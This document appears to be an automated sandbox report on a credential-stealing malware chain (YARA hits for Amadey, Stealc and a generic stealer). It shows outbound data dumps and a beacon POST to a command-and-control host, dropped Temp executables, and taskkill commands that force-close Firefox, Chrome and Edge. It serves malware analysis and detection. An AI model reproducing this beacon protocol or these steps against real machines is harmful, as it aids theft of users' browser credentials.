2024-10-26 03:56:04 UTC	15331	OUT	Data Raw: b4 f6 1b a2 4c a3 f2 43 1a cf 85 04 89 13 d3 22 2d 44 86 3b ae 73 17 55 80 ce f9 e4 2a ee d6 06 6e b9 ef d5 b1 db 1b 28 69 4c 33 7a 79 eb 59 2c 55 8c 5d 76 73 37 3d ca fa d3 b3 bd 9f d0 30 a3 72 c9 e5 c0 c6 8b 7e 81 9e cc 8a cf 23 35 15 2f ff 61 31 b9 f9 b1 a7 ab a7 56 fe 38 31 a9 cd e7 84 ba c6 7e 6e fd a6 fa 1a bb db bc e2 5c fb b4 3f 93 9a b7 17 38 0a 17 01 cc ad d3 c0 f1 c2 0e 9e 9d 3a bd b2 85 c2 2c b7 61 09 56 e9 81 36 0e 47 1d 1f 6e f3 75 fd d1 bd 08 ab 09 b9 c9 02 69 20 1b 13 72 cb 6b 1e a2 db 85 da 1b 7c 50 c7 cf f4 be 21 b7 99 3c 0d b7 d0 02 0e 1f 7f 6d 20 3e c2 14 78 c8 ff 7f 47 a0 23 99 a3 10 28 43 43 4d 06 e0 5a 59 2e 22 b2 24 22 35 4b 51 e0 42 c8 53 6d be 35 ba b8 2a f6 d5 2b c5 21 ad 1f 80 b0 87 e8 88 79 86 25 7e 99 74 f5 e0 06 16 3f 31 8c Data Ascii: LC"-D;sUn(iL3zyY,U]vs7=0r~#5/a1V81~n\?8:,aV6Gnui rk\|P!<m >xG#(CCMZY."$"5KQBSm5+!y%~t?1
2024-10-26 03:56:04 UTC	15331	OUT	Data Raw: d1 af b6 6c 22 32 cb 30 95 0e 45 ca 7c ff 10 89 d9 b2 11 c4 1e 61 f0 6b 98 94 9b ec 33 dc 37 90 f3 aa a4 ec 73 ff 34 51 0e a2 2c 85 49 3d e3 a0 ff 17 15 2e d3 97 e7 bd b4 ed 69 84 79 be 8c 7c ed 02 98 4a 98 13 f2 6a 7e 8f 19 cb 48 34 b5 27 fe 1b 89 40 53 43 c5 f6 48 63 e7 51 9e 68 f3 76 94 b9 93 c6 af cb f8 97 7e 5b ef 41 74 c7 b9 00 56 1f 82 c4 32 02 98 be e9 74 9b 35 33 bb f3 e4 ea 09 ce 35 03 3c 7e 4a 37 f8 ab 64 20 96 07 23 8c e9 55 18 47 33 a2 8a ba 8d e6 64 3f 58 33 9a 8c b1 e1 42 8d f2 56 ee 99 4e 49 a3 23 e3 77 66 86 2a e2 37 5f 0a 50 f8 39 77 46 83 b1 f5 a4 da eb 4c 66 c4 df 83 e4 3a 89 48 e3 3a 04 3b 10 26 51 8e ba 44 a4 f5 a1 19 71 e5 ea e9 f0 3d be a5 a7 7c 2a 92 c9 96 f6 19 09 38 21 c1 fd 8c 92 3d bb 74 b8 a4 ef b2 a6 37 9e 49 44 1e e6 33 a9 Data Ascii: l"20E\|ak37s4Q,I=.iy\|Jj~H4'@SCHcQhv~[AtV2t535<~J7d #UG3d?X3BVNI#wf7_P9wFLf:H:;&QDq=\|8!=t7ID3
2024-10-26 03:56:04 UTC	15331	OUT	Data Raw: ac 8c 53 dc c7 7b 74 4b c7 fd 32 ea 9d 84 38 52 df 0b 1e b6 ce a3 67 9f a6 98 19 0e 4c 1c 8d d9 55 fd f7 fd 6e 0c 29 49 cd 54 8e fb 91 a8 1b 4c 8a 23 7d 7b 18 f5 fc b0 ac 28 70 6c 92 1b 8a d4 f9 fa 6d c9 32 bd a2 a3 29 9e 73 45 58 fc c7 df dc 0e 57 ec 1d 38 c8 1f 3a 81 09 f5 47 fd 58 c0 c5 66 d5 99 d0 cc c3 26 42 24 38 f3 4f 02 2b bd 58 09 2a d7 c6 c1 b2 6f 7a 45 61 f6 6e 19 d8 10 03 bf e4 62 d7 47 89 0e b6 bd 3a 4b ac ae ef 96 b0 bd f0 c2 8b a7 ff 3b 4c 73 3d 03 7b 87 4b 5a 84 fe 0a b1 13 55 65 22 a9 b0 cd 58 ad 28 cb 6e 5d ad f6 19 ca 50 f7 c3 bc d7 07 f7 67 9f b9 80 be b9 c6 38 b3 33 53 e4 2a 74 93 aa ae b9 8c 9e 45 2f e7 cc d8 1c 25 d3 59 4b aa b4 31 00 de a2 19 f3 ac 3e 52 9a 08 20 ec 11 8b 52 e2 66 37 6c af 0d fe bb 2e 39 52 c3 ec 9c fa 99 20 77 dc Data Ascii: S{tK28RgLUn)ITL#}{(plm2)sEXW8:GXf&B$8O+XozEanbG:K;Ls={KZUe"X(n]Pg83StE/%YK1>R Rf7l.9R w
2024-10-26 03:56:04 UTC	15331	OUT	Data Raw: ff 9d 87 9c 1f b6 9e 83 c0 c8 01 ab 57 84 e5 81 0b de 7f 30 63 0a 6e ae 2c 85 5a f2 28 79 0c db fc bf 6b c7 fe e7 a8 d5 e9 ed f3 df 6e 54 93 d2 95 15 ff b4 8b 38 02 0c 9b c2 21 ec 28 2e 6a 72 c4 47 eb f9 c7 b1 78 97 3b 81 df 8e 3c 5a da ca f4 32 de 27 b2 e1 e5 28 a0 50 dd f3 d2 1b 53 34 7c 19 87 47 7c ff 9d 8e 1d 2b 5e 30 27 f1 7f dd 6c 47 d4 01 69 a7 2a a3 9b d9 e6 a9 be 4f 1c 5c f9 27 75 47 ac 33 0f a2 48 10 26 94 f6 d8 23 c7 e6 6b 21 30 fb 2c 14 22 ca 65 29 43 8e c2 bd 27 39 5a e7 d2 b8 f7 7a d0 31 7d 78 97 8b c4 40 de fb 91 16 6d 9b 9a b5 a2 59 1e 72 25 6b 9a 99 23 d4 29 1a ee 22 59 1c 51 7d 04 58 8c 66 6a a0 be 63 7b ff d2 86 2b 1a ae e2 20 b5 06 6c ec d5 c8 72 c8 da d1 5e 02 f0 d4 38 41 c4 a1 10 3c ab d8 39 3b 4b 64 92 75 78 f0 fb 15 4a e5 ae db 4a Data Ascii: W0cn,Z(yknT8!(.jrGx;<Z2'(PS4\|G\|+^0'lGi*O\'uG3H&#k!0,"e)C'9Zz1}x@mYr%k#)"YQ}Xfjc{+ lr^8A<9;KduxJJ
2024-10-26 03:56:04 UTC	15331	OUT	Data Raw: 5e df 76 86 43 6a 84 7d 1f b3 ac 04 26 74 35 04 dd a4 61 1d 75 35 2d ae 9c 9d 44 3e 5a da 5c d1 db fa 64 ab f6 cd 2f 0b 42 4a 82 8c 15 db 88 47 07 87 f3 17 0d 6c 7a b3 8b 3b da d1 6d 7f 0c 05 83 c0 23 28 c3 61 6f e9 a5 62 b9 94 11 97 53 9b d2 08 cf 65 e7 4c e3 26 f4 29 44 68 24 d6 0b a9 4e 5d cd 4e dd f5 06 03 5c ce af cb b1 e2 9d f1 f2 c1 df 7d 61 6d 7c 71 d2 37 df a1 fc 6b 53 19 2c bd 1d 7b 59 44 46 13 ba 49 56 11 c1 54 ec 35 48 d8 a8 e2 10 ee e5 98 ee ef 1f 89 a2 28 8c de 5a 25 57 1e e7 e8 d5 57 73 53 fe 01 3d 8a 90 86 d1 31 ad 95 ea 65 0f 6b 4b 9c 98 c8 b0 fa 94 10 ce ed e3 4f 2e b0 2a 1d 9c 3a 92 7b 24 34 f9 c8 c9 f3 ff 4e 9b b1 48 eb a2 3b ec 88 92 6f 6c b1 6d b3 72 51 2b 3d a7 a1 8c 6c 9f c4 9d 17 97 a6 0d 47 3f d9 41 9f 79 9e c0 67 b1 60 5e b8 2f Data Ascii: ^vCj}&t5au5-D>Z\d/BJGlz;m#(aobSeL&)Dh$N]N\}am\|q7kS,{YDFIVT5H(Z%WWsS=1ekKO.*:{$4NH;olmrQ+=lG?Ayg`^/
2024-10-26 03:56:04 UTC	15331	OUT	Data Raw: 67 ef 02 77 6c c9 a5 13 1c 27 7f 2d 73 f6 b5 36 0b 83 45 36 c2 0a 0c 3c c4 97 64 67 d3 74 70 64 93 d8 fe ff ff c4 84 33 80 d3 76 f4 03 b2 b8 73 a8 5d 86 a8 0e fd c8 1f ef 7c b7 2e 6b cb 4f 54 9b 13 34 05 80 04 56 2a d5 3d 4f 8d b0 a0 a7 67 84 3e 7a b7 41 7f e8 c4 80 6f fa 93 d6 ee cf 0f f3 cd 04 79 b7 e6 ed 3f 19 51 ff 77 4b 4c 10 84 f8 2c 2e a2 81 36 fe 0a 0e bc 45 17 0a a0 86 c9 64 c9 7f 82 d3 b4 7d 12 37 8f d5 58 1a f3 fb ea 20 18 30 e0 04 39 47 96 da 8b a2 07 38 14 2a 0d 73 25 0f f7 4b 8d b8 c6 63 47 54 e9 02 18 6d 96 67 34 35 18 e0 d7 1f b3 c6 56 00 9f 8a f9 e0 71 91 37 5b 71 fb a6 ad d0 bc 76 3e 7c 66 ce 54 cd 89 53 9b cf 2a 52 8d 79 05 c7 c4 ef 41 b0 51 b7 fe fa 15 07 09 d4 f5 84 09 08 dc 20 e0 1a 70 f5 ca 51 21 bb a9 fc 00 c2 41 2b c4 bd a1 3b b9 Data Ascii: gwl'-s6E6<dgtpd3vs]\|.kOT4V=Og>zAoy?QwKL,.6Ed}7X 09G8s%KcGTmg45Vq7[qv>\|fTS*RyAQ pQ!A+;
2024-10-26 03:56:04 UTC	15331	OUT	Data Raw: ca fd a0 10 50 86 46 54 37 f7 8c 63 ce ed 70 72 23 4a 2e 35 c5 5b 44 23 de c2 e2 99 96 c2 95 64 11 d2 ae f5 9b 46 da 6b 0e ea 99 7c 91 ce 23 27 23 e8 2f 6f 4a 4e 98 5a 7e 8a e6 df e0 f3 21 a0 6b af a3 09 67 f8 af 49 0a 3a ce eb d3 04 be da ff df 4b 6f ac e3 f4 4e 66 42 7c 4c 62 d9 4e 43 5e e6 5d 35 2f 41 c4 1b b3 e8 b1 c6 44 c0 b0 3b 0a f2 0f cf a8 40 f9 bf cc 98 ee 0e c3 17 af 7e 11 ad dc 79 b3 98 ad 81 80 c8 2f ae a9 a7 bd 59 57 f3 c3 19 09 f9 4b 35 13 2e 53 f0 44 6d 13 a9 02 ad 2e 60 d9 ba 23 f4 28 0c c3 d4 a0 18 b5 42 53 9c b7 fb f5 e5 22 95 94 09 00 3b 39 7a c7 f9 1b 43 be b3 03 3d 3d a4 0f b8 ce 1f 18 ad 09 ef b9 2d e0 18 b4 f0 6a de 5e 85 d8 42 cf f2 18 ac 94 1b 2c b9 eb 92 2f b6 30 10 26 15 e9 dd ac dc 31 b6 54 ac 4d 8f a2 d6 cd 7a e4 85 20 dc 0b Data Ascii: PFT7cpr#J.5[D#dFk\|#'#/oJNZ~!kgI:KoNfB\|LbNC^]5/AD;@~y/YWK5.SDm.`#(BS";9zC==-j^B,/0&1TMz
2024-10-26 03:56:07 UTC	1026	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:56:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k941unj1qoeq7ohje783pgs72v; expires=Tue, 18 Feb 2025 21:42:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YNpHZ7zPPbJ07aJ8GYjitl%2BtjHNIqR3IJKIQ3R9qB%2BuS%2Fu8mqVzltP%2BeMaO%2FfQWHOmTy6pw7x3eHqY%2FtjWYAq%2BxBSrWGBPR%2B67XKBZfG3zqs4lkAW4lQXZ8ckcetaEW%2BQKCT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8783b0faccb73c-AMS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=122635&sent=179&recv=439&lost=0&retrans=0&sent_bytes=2838&recv_bytes=552087&delivery_rate=23614&cwnd=32&unsent_bytes=0&cid=1073b62011509cac&ts=3096&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	50062	104.21.95.91	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:56:08 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: crisiwarny.store
2024-10-26 03:56:08 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=A24AF50135A1A1224D46A83D1FF0DA84
2024-10-26 03:56:08 UTC	1006	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:56:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3f0idra74f1nug0r4ettr3udbs; expires=Tue, 18 Feb 2025 21:42:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BPIwQoNI%2Fb%2FRsW2q7MVkUrTJV4QWJIEoxXoR963fHIKqlKNtJFQ8gTYbrng%2Fc81jHojfyenFQh29vhZVIX8glLvG98I0y9NPz8UDSkVo25zWryxGW5FDFsqyVdTWKYvJljXR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8783c8bfddf85c-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=116000&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=987&delivery_rate=24957&cwnd=32&unsent_bytes=0&cid=88e1d917d803b864&ts=421&x=0"
2024-10-26 03:56:08 UTC	299	IN	Data Raw: 31 32 34 0d 0a 53 79 61 44 37 56 70 61 44 44 73 4a 4b 7a 75 79 34 2f 55 4f 58 57 31 4c 48 67 72 45 36 36 70 75 7a 68 73 35 57 59 39 2b 77 54 59 51 58 61 47 59 65 47 41 75 55 33 31 66 53 34 69 2f 32 6c 4a 79 58 48 4d 72 4a 50 62 61 6e 30 44 2f 4b 67 70 33 76 6b 69 64 47 53 5a 50 37 59 67 47 64 58 35 61 5a 30 39 55 33 38 32 51 64 6a 68 50 5a 7a 78 73 73 4d 6d 51 58 75 49 35 58 48 75 31 54 72 77 61 4d 41 54 32 7a 32 42 34 5a 45 39 39 57 77 48 75 7a 4b 6b 68 62 46 56 2b 4d 44 6a 31 33 6f 52 66 2f 79 67 58 61 4c 6b 69 37 6b 55 2f 51 2b 4b 41 42 6e 56 2b 57 6d 64 50 56 4e 2f 4e 6b 48 59 34 54 32 63 38 62 4c 44 4a 6b 46 37 69 4f 56 78 37 74 55 36 38 47 6a 41 45 39 73 39 67 65 47 52 50 66 56 73 42 37 73 79 70 49 57 78 56 66 6a 41 34 39 64 36 45 58 2f 38 6f 46 32 Data Ascii: 124SyaD7VpaDDsJKzuy4/UOXW1LHgrE66puzhs5WY9+wTYQXaGYeGAuU31fS4i/2lJyXHMrJPban0D/Kgp3vkidGSZP7YgGdX5aZ09U382QdjhPZzxssMmQXuI5XHu1TrwaMAT2z2B4ZE99WwHuzKkhbFV+MDj13oRf/ygXaLki7kU/Q+KABnV+WmdPVN/NkHY4T2c8bLDJkF7iOVx7tU68GjAE9s9geGRPfVsB7sypIWxVfjA49d6EX/8oF2
2024-10-26 03:56:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	23:54:00
Start date:	25/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x380000
File size:	2'949'120 bytes
MD5 hash:	8D1E04C056CAF2CC26A48A16BE0198B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1786821317.0000000001774000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1786888167.0000000001775000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1786861408.0000000001774000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:54:33
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe"
Imagebase:	0xf40000
File size:	1'887'744 bytes
MD5 hash:	85B5560CBE6CB2FC83058376490E1CFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.2031756029.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.2119358992.0000000000F41000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:54:39
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x490000
File size:	1'887'744 bytes
MD5 hash:	85B5560CBE6CB2FC83058376490E1CFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2100193708.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2140947944.0000000000491000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:54:44
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe"
Imagebase:	0x820000
File size:	1'834'496 bytes
MD5 hash:	3833A1B7C23D66EECEC6B16DDF5CF540
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000006.00000002.2580293430.0000000000821000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000006.00000002.2582005430.000000000127E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000006.00000003.2142029213.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:55:00
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x490000
File size:	1'887'744 bytes
MD5 hash:	85B5560CBE6CB2FC83058376490E1CFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.2308287602.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	23:55:02
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe"
Imagebase:	0x190000
File size:	2'831'360 bytes
MD5 hash:	9133E5DB092F1C3026308DFEA85F0EBA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:55:26
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe"
Imagebase:	0x9a0000
File size:	2'949'120 bytes
MD5 hash:	8D1E04C056CAF2CC26A48A16BE0198B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2624288449.00000000011A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2623865515.00000000011A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2663469865.00000000011A5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2658010814.00000000011A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2623816326.0000000001193000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2605977580.00000000011A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2608212064.00000000011A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2639670507.00000000011A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2663336618.00000000011A5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2623503748.000000000118F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	23:55:38
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe"
Imagebase:	0x9a0000
File size:	2'949'120 bytes
MD5 hash:	8D1E04C056CAF2CC26A48A16BE0198B8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2809274914.0000000001403000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	23:55:41
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe"
Imagebase:	0xba0000
File size:	1'834'496 bytes
MD5 hash:	3833A1B7C23D66EECEC6B16DDF5CF540
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.2750222076.0000000000BA1000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.2751119481.00000000018EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000003.2709864138.0000000005560000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:55:46
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe"
Imagebase:	0x9a0000
File size:	2'949'120 bytes
MD5 hash:	8D1E04C056CAF2CC26A48A16BE0198B8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2883370297.000000000111B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	23:55:51
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe"
Imagebase:	0x8f0000
File size:	919'040 bytes
MD5 hash:	EE970780C371D5BD42992B92132F5014
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 26%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	23:55:51
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x190000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	23:55:51
Start date:	25/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:55:53
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x190000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	23:55:53
Start date:	25/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	23:55:53
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x190000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:55:53
Start date:	25/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	23:55:54
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
